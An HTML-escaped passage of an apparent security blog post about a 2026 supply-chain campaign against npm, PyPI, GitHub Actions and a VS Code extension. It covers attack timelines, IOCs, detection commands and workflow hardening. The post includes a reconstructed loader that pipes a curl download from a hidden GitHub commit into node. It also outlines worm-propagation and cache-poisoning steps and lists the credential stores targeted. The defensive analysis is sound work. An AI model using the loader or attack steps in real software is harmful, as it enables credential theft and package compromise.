22:47 UTC — axios 0.30.0 published (malicious)  
~23:30 UTC — malicious versions removed
Window: ~3 hours for 1.14.1, ~45 minutes for 0.30.0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt; A cross-platform RAT targeting macOS, Windows, and Linux. Not a simple credential stealer — a full Remote Access Trojan.&lt;/p&gt;

&lt;p&gt;The scary part: how many &lt;code&gt;npm install&lt;/code&gt; runs happened in those 3 hours? How many CI pipelines pulled a fresh install? How many Docker images cached that version?&lt;/p&gt;




&lt;h3&gt;
  
  
  Wave 5 (April 27): @bitwarden/cli — The Self-Propagating Twist
&lt;/h3&gt;

&lt;p&gt;This is where the campaign got genuinely worm-like.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Install malicious @bitwarden/cli →
Payload executes (credential theft) →
Payload enumerates ALL npm packages the victim can publish →
Injects malicious code into EACH of those packages →
Re-publishes them →
Every downstream user of victim's packages is now infected
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is not a supply chain attack. This is a &lt;strong&gt;supply chain worm&lt;/strong&gt;. One compromised developer with publish access = their entire package portfolio weaponized automatically.&lt;/p&gt;




&lt;h3&gt;
  
  
  Wave 6 (May 11): TanStack — GitHub Actions Cache Poisoning
&lt;/h3&gt;

&lt;p&gt;This is the most technically sophisticated vector in the campaign. No stolen credentials needed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Target:&lt;/strong&gt; &lt;code&gt;@tanstack/react-router&lt;/code&gt; — ~12.7 million weekly downloads.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;The exploit:
1. Fork the TanStack repository
2. Open a pull request from the fork
3. A GitHub Actions workflow triggers on pull_request with write access to base repo's cache
4. Attacker's code poisons that cache with malicious content
5. Wait for a legitimate release to use the poisoned cache
6. Malicious code injected into build artifacts
7. Release published — clean on the outside, poisoned inside
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The critical detail:&lt;/strong&gt; The workflow had &lt;code&gt;pull_request&lt;/code&gt; trigger with cache write permissions. This is a common misconfiguration. The &lt;code&gt;pull_request_target&lt;/code&gt; vs &lt;code&gt;pull_request&lt;/code&gt; distinction is one of the most dangerous footguns in GitHub Actions.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# DANGEROUS — allows fork PRs to write to base repo cache&lt;/span&gt;
&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;pull_request&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;

&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;permissions&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;actions&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;write&lt;/span&gt;  &lt;span class="c1"&gt;# &amp;lt;-- this is the problem&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# SAFER&lt;/span&gt;
&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;pull_request&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;

&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;permissions&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;actions&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;read&lt;/span&gt;  &lt;span class="c1"&gt;# read-only&lt;/span&gt;
      &lt;span class="na"&gt;contents&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;read&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt; 84 malicious package versions across 42 &lt;code&gt;@tanstack/*&lt;/code&gt; packages published in &lt;strong&gt;under 6 minutes&lt;/strong&gt; between 19:20 and 19:26 UTC.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Victims confirmed:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;OpenAI: 2 employee devices compromised, internal repos accessed, code-signing certificates rotated&lt;/li&gt;
&lt;li&gt;Mistral AI: 1 developer device, $25,000 extortion demand, claimed 5GB source code&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  Wave 7 (May 18): Nx Console — The GitHub Kill Shot
&lt;/h3&gt;

&lt;p&gt;Now we get to the main event.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Target:&lt;/strong&gt; &lt;code&gt;nrwl.angular-console&lt;/code&gt; (Nx Console) — 2.2 million installs, verified publisher status.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Timeline:
12:30 UTC May 18 — Malicious v18.95.0 published to VS Code Marketplace
12:36 UTC        — Confirmed live with malicious main.js
12:48 UTC        — Community detection, version pulled (18 minutes)
36 min           — Also pulled from OpenVSX

May 19           — GitHub detects breach on employee device
May 20           — GitHub publicly confirms ~3,800 internal repos exfiltrated
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The payload mechanism:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Simplified reconstruction of what happened in main.js&lt;/span&gt;
&lt;span class="c1"&gt;// (based on OX Security / StepSecurity analysis)&lt;/span&gt;

&lt;span class="c1"&gt;// Normal extension startup...&lt;/span&gt;
&lt;span class="c1"&gt;// ...then silently:&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;execSync&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;child_process&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// Fetch payload from a planted ORPHAN COMMIT in the official nrwl/nx repo&lt;/span&gt;
&lt;span class="c1"&gt;// This is genius — the payload is hosted on GitHub itself&lt;/span&gt;
&lt;span class="c1"&gt;// The extension publisher can't be blamed, the official repo looks clean&lt;/span&gt;
&lt;span class="c1"&gt;// The orphan commit doesn't appear in git log&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;payloadUrl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://raw.githubusercontent.com/nrwl/nx/[orphan-sha]/[hidden-path]/payload.js&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// 498KB obfuscated payload&lt;/span&gt;
&lt;span class="c1"&gt;// Executes within SECONDS of opening any workspace&lt;/span&gt;
&lt;span class="nf"&gt;execSync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`curl -sS &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;payloadUrl&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; | node`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;stdio&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;ignore&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;What the 498KB payload stole:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Targets:
├── 1Password vaults (CLI / desktop integration)
├── GitHub tokens (PATs, OAuth, GHES tokens)
├── npm auth tokens (~/.npmrc)
├── AWS credentials (~/.aws/credentials)
├── Anthropic Claude Code configuration
│   └── API keys, project configs
└── General credential stores
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why "orphan commit" hosting is clever:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# An orphan commit has no parent and doesn't appear in any branch&lt;/span&gt;
&lt;span class="c"&gt;# It's invisible in normal git log&lt;/span&gt;
&lt;span class="c"&gt;# But it's still accessible via its SHA&lt;/span&gt;

git fetch origin &lt;span class="o"&gt;[&lt;/span&gt;sha]
git show &lt;span class="o"&gt;[&lt;/span&gt;sha]:[file]

&lt;span class="c"&gt;# The nrwl/nx repo looks completely clean to any auditor&lt;/span&gt;
&lt;span class="c"&gt;# The payload sits in a dangling object that most scanners miss&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  The GitHub Breach: Post-Mortem
&lt;/h2&gt;

&lt;h3&gt;
  
  
  What Got Taken
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Internal repositories&lt;/td&gt;
&lt;td&gt;~3,800 confirmed (GitHub's assessment: "directionally consistent" with attacker claims)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Type&lt;/td&gt;
&lt;td&gt;GitHub's own internal corporate codebase&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Customer repos&lt;/td&gt;
&lt;td&gt;No evidence of impact&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;User data&lt;/td&gt;
&lt;td&gt;No evidence of impact&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Price on BreachForums&lt;/td&gt;
&lt;td&gt;&amp;gt; $50,000&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  What GitHub Did Right
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;May 19, 2026 — Detection (same day as infection)
├── Isolated the compromised endpoint
├── Removed malicious extension version from Marketplace
├── Began rotating high-impact credentials and cryptographic keys
└── Opened internal incident response investigation

May 20, 2026 — Public disclosure (next day)
├── Statement on X with technical summary
├── Investigation ongoing
└── Committed to publishing detailed post-mortem
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Detection-to-public-disclosure in &lt;strong&gt;under 24 hours&lt;/strong&gt; is actually good. The problem was the infection happening at all.&lt;/p&gt;

&lt;h3&gt;
  
  
  What GitHub Did Wrong (Structurally)
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;An employee ran an auto-updated VS Code extension on a device with access to 3,800 internal repos.&lt;/strong&gt; The blast radius of a single developer endpoint should never be that large.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;No apparent extension allowlisting.&lt;/strong&gt; The malicious version was on the Marketplace for 18 minutes. With allowlisting + minimum-age policies, this installs nothing.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;GitHub still hasn't formally named the extension.&lt;/strong&gt; This is a transparency problem. The security community identified Nx Console v18.95.0 through independent analysis. Official confirmation matters for incident response across the 2.2M install base.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  The Shai-Hulud Worm: Technical Deep Dive
&lt;/h2&gt;

&lt;p&gt;The worm that powered much of this campaign deserves its own section.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Original Shai-Hulud (Sep 2025) — Core Mechanism:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1. Steal npm publish token from compromised environment
2. Enumerate every package that token can reach
3. Inject malicious postinstall hook into each package
4. Re-publish all of them
5. Any developer who installs any of those packages → infected
6. Their tokens stolen → their packages infected
7. Repeat
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is exponential propagation. One stolen token = potentially thousands of downstream packages.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mini Shai-Hulud evolution (2026):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Added in Nov/Dec 2025:
└── Data-wiping functionality (destructive payload option)

Added in April 2026:
└── No stolen credential needed (GitHub Actions cache poisoning)
└── Cross-registry simultaneous strike (npm + PyPI + RubyGems same 48h window)

Added in May 2026:
└── VS Code extension vector
└── IDE plugin ecosystem targeting
└── Source code open-sourced (MIT license on GitHub)
└── $1,000 Monero "supply chain contest" on BreachForums → copycat actors
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The open-sourcing move is a threat multiplier.&lt;/strong&gt; TeamPCP turned their campaign tool into a platform. Within days of the source code drop, OX Security documented the first copycat campaign from a new actor publishing 4 malicious npm packages using the Shai-Hulud codebase.&lt;/p&gt;




&lt;h2&gt;
  
  
  IOCs and Detection Signals
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Package-Level IOCs
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Known malicious versions (rotate credentials if you used these)&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
&lt;span class="s"&gt;├── npm&lt;/span&gt;
&lt;span class="s"&gt;│   ├── axios 1.14.1, 0.30.0 (March 31, 2026)&lt;/span&gt;
&lt;span class="s"&gt;│   ├── @bitwarden/cli 2026.4.0&lt;/span&gt;
&lt;span class="s"&gt;│   ├── @tanstack/react-router [malicious versions, May 11]&lt;/span&gt;
&lt;span class="s"&gt;│   ├── @tanstack/* (42 packages, May 11, 19:20-19:26 UTC)&lt;/span&gt;
&lt;span class="s"&gt;│   ├── @mistralai/* (May 12 — payload non-functional)&lt;/span&gt;
&lt;span class="s"&gt;│   └── @uipath/* (May 12 — payload non-functional)&lt;/span&gt;
&lt;span class="s"&gt;├── PyPI&lt;/span&gt;
&lt;span class="s"&gt;│   ├── litellm [March 2026 malicious versions]&lt;/span&gt;
&lt;span class="s"&gt;│   ├── telnyx 4.87.2&lt;/span&gt;
&lt;span class="s"&gt;│   └── microsoft-durabletask-worker [May 19, 3 versions]&lt;/span&gt;
&lt;span class="s"&gt;├── VS Code Marketplace&lt;/span&gt;
&lt;span class="s"&gt;│   └── nrwl.angular-console 18.95.0 (May 18, 12:30-12:48 UTC)&lt;/span&gt;
&lt;span class="s"&gt;└── GitHub Actions&lt;/span&gt;
    &lt;span class="s"&gt;└── aquasecurity/trivy-action [76/77 tags, March 2026]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Behavioral IOCs
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Signs of active Shai-Hulud/TeamPCP infection:&lt;/span&gt;

&lt;span class="c"&gt;# 1. Unexpected .pth files in site-packages&lt;/span&gt;
find /usr/lib/python&lt;span class="k"&gt;*&lt;/span&gt; /usr/local/lib/python&lt;span class="k"&gt;*&lt;/span&gt; ~/.local/lib/python&lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.pth"&lt;/span&gt; &lt;span class="nt"&gt;-newer&lt;/span&gt; /var/log/dpkg.log 2&amp;gt;/dev/null

&lt;span class="c"&gt;# 2. Unusual outbound connections during npm install&lt;/span&gt;
&lt;span class="c"&gt;# Look for curl/node spawned by VS Code extension process&lt;/span&gt;

&lt;span class="c"&gt;# 3. Orphan commits being fetched&lt;/span&gt;
git fsck &lt;span class="nt"&gt;--lost-found&lt;/span&gt; 2&amp;gt;&amp;amp;1 | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"dangling commit"&lt;/span&gt;

&lt;span class="c"&gt;# 4. npm token in environment or .npmrc after extension install&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s2"&gt;"_authToken"&lt;/span&gt; ~/.npmrc ~/.config/npm/ 2&amp;gt;/dev/null

&lt;span class="c"&gt;# 5. Payload skip signal (Russian locale check in payload)&lt;/span&gt;
&lt;span class="c"&gt;# If your env has LANG=ru_RU — payload was designed to skip you&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Attribution Fingerprints (Technical)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;High confidence (Wiz):
└── Shared RSA public key across Trivy, Telnyx, Nx Console payloads

Medium confidence (Socket, StepSecurity):
├── Shared cipher salt across malware families
└── Dead-drop string lineage (identical URL patterns for orphan commit hosting)

Low confidence:
└── Behavioral overlap with Eastern European cybercrime TTPs
└── Russian locale skip (standard crew protection measure)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  The Nx Console Exposure Window: Are YOU Affected?
&lt;/h2&gt;

&lt;p&gt;If you have VS Code with auto-update enabled and Nx Console installed, you need to check.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Exposure window: May 18, 2026
Time (UTC):      12:30 — 12:48 (VS Code Marketplace)
                 12:30 — 13:06 (OpenVSX)

Check your VS Code extension history:
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check VS Code extension install/update logs&lt;/span&gt;
&lt;span class="c"&gt;# Linux/macOS:&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; ~/.vscode/extensions/nrwl.angular-console-&lt;span class="k"&gt;*&lt;/span&gt;/package.json | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s1"&gt;'"version"'&lt;/span&gt;

&lt;span class="c"&gt;# If you see 18.95.0 — assume full compromise&lt;/span&gt;
&lt;span class="c"&gt;# Rotate immediately:&lt;/span&gt;
&lt;span class="c"&gt;# 1. GitHub PATs&lt;/span&gt;
&lt;span class="c"&gt;# 2. npm auth tokens  &lt;/span&gt;
&lt;span class="c"&gt;# 3. AWS credentials&lt;/span&gt;
&lt;span class="c"&gt;# 4. 1Password vault (change master password, regenerate secrets)&lt;/span&gt;
&lt;span class="c"&gt;# 5. Anthropic API keys (if you use Claude Code)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  What Every Developer Should Do Now
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Immediate Actions
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 1. Audit GitHub Actions workflows for dangerous permission combos&lt;/span&gt;
&lt;span class="c"&gt;# Find workflows triggered by pull_request with write permissions:&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s2"&gt;"pull_request"&lt;/span&gt; .github/workflows/ | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;"pull_request_target"&lt;/span&gt;
&lt;span class="c"&gt;# Then check if any job has: actions: write OR contents: write&lt;/span&gt;

&lt;span class="c"&gt;# 2. Set minimum token permissions in all workflows&lt;/span&gt;
&lt;span class="c"&gt;# Add this to every workflow job:&lt;/span&gt;
permissions:
  contents: &lt;span class="nb"&gt;read
  &lt;/span&gt;actions: &lt;span class="nb"&gt;read&lt;/span&gt;

&lt;span class="c"&gt;# 3. Pin ALL GitHub Actions to full commit SHA (not tags)&lt;/span&gt;
&lt;span class="c"&gt;# BAD:&lt;/span&gt;
uses: actions/checkout@v4
&lt;span class="c"&gt;# GOOD:&lt;/span&gt;
uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683

&lt;span class="c"&gt;# 4. Audit .pth files in Python environments&lt;/span&gt;
find &lt;span class="si"&gt;$(&lt;/span&gt;python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"import site; print(' '.join(site.getsitepackages()))"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.pth"&lt;/span&gt; | xargs &lt;span class="nb"&gt;cat&lt;/span&gt;

&lt;span class="c"&gt;# 5. Rotate npm tokens if ANY package in your chain was affected&lt;/span&gt;
npm token revoke &lt;span class="o"&gt;[&lt;/span&gt;old-token]
npm token create &lt;span class="nt"&gt;--read-only&lt;/span&gt;  &lt;span class="c"&gt;# or with specific package scope&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Structural Hardening
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# GitHub Actions: Restrict cache write permissions&lt;/span&gt;
&lt;span class="c1"&gt;# Dangerous pattern — fork PRs can write cache:&lt;/span&gt;
&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;pull_request&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;runs-on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ubuntu-latest&lt;/span&gt;
    &lt;span class="c1"&gt;# Missing explicit permissions = inherits GITHUB_TOKEN defaults (too broad)&lt;/span&gt;

&lt;span class="c1"&gt;# Safe pattern:&lt;/span&gt;
&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;pull_request&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;runs-on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ubuntu-latest&lt;/span&gt;
    &lt;span class="na"&gt;permissions&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;contents&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;read&lt;/span&gt;        &lt;span class="c1"&gt;# read source only&lt;/span&gt;
      &lt;span class="na"&gt;pull-requests&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;read&lt;/span&gt;   &lt;span class="c1"&gt;# read PR metadata&lt;/span&gt;
      &lt;span class="c1"&gt;# NO actions: write&lt;/span&gt;
      &lt;span class="c1"&gt;# NO packages: write&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# VS Code: Disable auto-update for extensions&lt;/span&gt;
&lt;span class="c"&gt;# Settings → Extensions → Auto Update = false&lt;/span&gt;
&lt;span class="c"&gt;# Or in settings.json:&lt;/span&gt;
&lt;span class="s2"&gt;"extensions.autoUpdate"&lt;/span&gt;: &lt;span class="nb"&gt;false&lt;/span&gt;

&lt;span class="c"&gt;# Consider extension allowlisting via policy&lt;/span&gt;
&lt;span class="c"&gt;# For orgs: use VS Code for the Web or GitHub Codespaces &lt;/span&gt;
&lt;span class="c"&gt;# where extensions run in isolated containers&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Detection at the npm Level
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Before installing any package, check:&lt;/span&gt;
&lt;span class="c"&gt;# 1. When was this version published?&lt;/span&gt;
npm view &lt;span class="o"&gt;[&lt;/span&gt;package]@[version] &lt;span class="nb"&gt;time&lt;/span&gt; &lt;span class="nt"&gt;--json&lt;/span&gt;

&lt;span class="c"&gt;# 2. Does the publish timestamp match a release commit?&lt;/span&gt;
&lt;span class="c"&gt;# Compare npm publish time vs GitHub release time&lt;/span&gt;
&lt;span class="c"&gt;# Discrepancy = potential supply chain tampering&lt;/span&gt;

&lt;span class="c"&gt;# 3. Verify package integrity&lt;/span&gt;
npm audit &lt;span class="nt"&gt;--audit-level&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;critical
npm pack &lt;span class="o"&gt;[&lt;/span&gt;package] &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;tar&lt;/span&gt; &lt;span class="nt"&gt;-tzf&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;package]-[version].tgz | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;sh&lt;/span&gt;&lt;span class="nv"&gt;$|&lt;/span&gt;&lt;span class="s2"&gt;postinstall"&lt;/span&gt;

&lt;span class="c"&gt;# 4. Check for unexpected postinstall scripts&lt;/span&gt;
npm view &lt;span class="o"&gt;[&lt;/span&gt;package] scripts &lt;span class="nt"&gt;--json&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"postinstall|preinstall|install"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  The Bigger Picture: 2026 as the Year of the Developer Supply Chain
&lt;/h2&gt;

&lt;p&gt;TeamPCP's campaign doesn't exist in a vacuum. They are the sharpest expression of a broader trend that's been building since 2020.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Attack Vector&lt;/th&gt;
&lt;th&gt;2020-2023&lt;/th&gt;
&lt;th&gt;2024-2026&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Initial access&lt;/td&gt;
&lt;td&gt;Network perimeter, RDP&lt;/td&gt;
&lt;td&gt;Developer laptop, CI/CD&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Primary target&lt;/td&gt;
&lt;td&gt;Production servers&lt;/td&gt;
&lt;td&gt;Developer tooling&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Credential source&lt;/td&gt;
&lt;td&gt;User phishing&lt;/td&gt;
&lt;td&gt;Automated env harvesting&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;C2 infrastructure&lt;/td&gt;
